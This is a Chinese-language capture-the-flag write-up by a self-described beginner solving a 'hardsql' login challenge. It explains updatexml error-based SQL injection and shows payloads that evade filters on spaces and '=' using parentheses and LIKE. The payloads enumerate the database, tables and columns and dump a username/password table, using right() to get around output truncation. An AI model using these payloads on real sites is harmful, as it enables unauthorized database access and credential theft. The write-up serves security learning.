本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助

打开靶机,又是熟悉的登录界面,但是这次他提示hardsql,看来上强度了,
还是先试试是什么类型的注入漏洞,

1
1'


有回显,是字符型注入漏洞,
试试爆字段数,

1
1' order by 3#


被过滤了,多次尝试注入发现过滤了*,空格,+,=等符号,
可以试试报错注入,

updatexml函数

UPDATEXML 是SQL中的一种XML处理函数,主要用于修改XML文档中的特定节点内容。它在多种数据库系统中都有实现,包括OracleMySQL等。

基本语法

1
2
3
4
5
UPDATEXML(xml_target, xpath_expr, new_value)

xml_target: 要修改的原始 XML 文档
xpath_expr: XPath 表达式,用于定位要修改的节点
new_value: 替换的新值(可以是 XML 片段或简单值)

注入原理

UPDATEXML函数在解析XPath表达式时,如果表达式格式错误或路径不存在,会返回错误信息
例子:

1
2
3
4
5
1' or updatexml(1,concat(0x7e,database()),1)#
xml_target位置上的'1'因为不存在该文档,使整个updatexml函数错误,
但updatexml函数会解析执行database函数,会将执行结果显示到客户端,这样我们就会得到数据库名,
因为报错显示的字符段数会收到限制
concat(0x7e,database()):concat函数会将0x7e(也就是'~')和数据库名拼接这样会返回完整数据库名,例如'~geek'

爆数据库名

将用空格隔开的sql语句使用()包括,例如select(databse())

1
1'or(updatexml(1,concat(0x7e,database()),1))#


爆表名

等号过滤绕过可以使用like进行替代

1
1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))),1))#

爆列名(字段数)

1
1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))),1))#

爆flag

1
1'or(updatexml(1,concat(0x7e,(select(group_concat(concat(id,';',username,';',password)))from(H4rDsq1))),1))#


发现回显字符长度被限制,不能显示完整的flag字段,只是查询password字段也不行,
可以使用right()函数对后半部分数据进行读取,然后进行拼接

1
1'or(updatexml(1,concat(0x7e,(select(group_concat(right(password,30)))from(H4rDsq1))),1))#


拼接获得flag